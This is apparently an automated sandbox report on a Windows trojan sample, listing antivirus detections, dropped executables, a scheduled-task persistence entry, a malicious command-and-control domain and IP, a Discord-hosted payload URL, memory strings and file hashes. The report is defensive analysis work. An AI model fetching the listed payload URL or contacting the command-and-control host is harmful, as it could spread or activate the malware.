YfTokH7RIj.exe	41%	Virustotal		Browse
YfTokH7RIj.exe	49%	ReversingLabs	Win32.Trojan.AgentTesla
YfTokH7RIj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\fl.exe	100%	Avira	HEUR/AGEN.1143703
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	100%	Avira	HEUR/AGEN.1143065
C:\Windows\System32\services32.exe	100%	Avira	HEUR/AGEN.1143703
C:\Users\user\AppData\Local\Temp\fl.exe	100%	Joe Sandbox ML
C:\Windows\System32\services32.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\fl.exe	60%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\fl.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\fl.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.CoinMinerInj
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	31%	Metadefender		Browse
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Convagent
C:\Windows\System32\services32.exe	26%	Metadefender		Browse
C:\Windows\System32\services32.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.CoinMinerInj

Unpacked PE Files

Source	Detection	Scanner	Label	Download
29.0.sihost32.exe.4a0000.0.unpack	100%	Avira	HEUR/AGEN.1143065	Download File
29.2.sihost32.exe.4a0000.0.unpack	100%	Avira	HEUR/AGEN.1143065	Download File
0.0.YfTokH7RIj.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
yabynennet.xyz	6%	Virustotal		Browse
api.ip.sb	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://service.r	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://go.mic	0%	URL Reputation	safe
http://forms.rea	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
yabynennet.xyz	185.82.202.246	true	true	6%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.129.233	true	false		high
api.ip.sb	unknown	unknown	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/917178535238586432/922560115226312704/StopScam.vmp.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://service.r	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id4	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_pdf	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.768280433.0000000004209000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.765463943.0000000003E02000.00000004.00000001.sdmp, services32.exe, 0000000F.00000002.828985486.0000000003DA9000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.815721507.0000000004059000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.813300578.0000000003C52000.00000004.00000001.sdmp, sihost32.exe, 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://support.a	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id6Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	YfTokH7RIj.exe, YfTokH7RIj.exe, 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/sc	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id20	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id23	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727090311.0000000003978000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://go.mic	services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://forms.rea	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id17	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.82.202.246	yabynennet.xyz	Netherlands		60117	HSAE	true
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	545999
Start date:	28.12.2021
Start time:	18:12:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	YfTokH7RIj (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@37/25@4/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 1.3% (good quality ratio 1.3%) Quality average: 72% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 85% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 104.26.12.31, 172.67.75.172, 104.26.13.31 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, www.bing.com, api.ip.sb.cdn.cloudflare.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, dual-a-0001.a-msedge.net, www-bing-com.dual-a-0001.a-msedge.net, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:13:30	API Interceptor	79x Sleep call for process: YfTokH7RIj.exe modified
18:13:54	API Interceptor	1x Sleep call for process: fl.exe modified
18:13:54	API Interceptor	230x Sleep call for process: powershell.exe modified
18:13:55	Task Scheduler	Run new task: services32 path: C:\Windows\system32\services32.exe
18:14:23	API Interceptor	298x Sleep call for process: sihost32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fl.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\fl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.346338419905592
Encrypted:	false
SSDEEP:	24:ML9E4KrVE4K5sXE4+jKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKpHKMH+jYHKGD8AoPtHTG1hAHKKPz
MD5:	7B8322EF9951253AE0C14D92C4255FD9
SHA1:	2B5BF780118729442EA7CB0123602341DCC0A0EF
SHA-256:	48EFFF2C19F0866B55F4EC12F23540DDA507741750ECD6171B2F4A6DA9967D3E
SHA-512:	A1E88D5F1DF584AAB7A2663BF37151FBB2C3E857706914032D9186E0F53092FFD57B34CAE5B020F73B05B754D8DED205C5CE3C80F7D83F01BD61D9BAF7DF2BE8
Malicious:	false
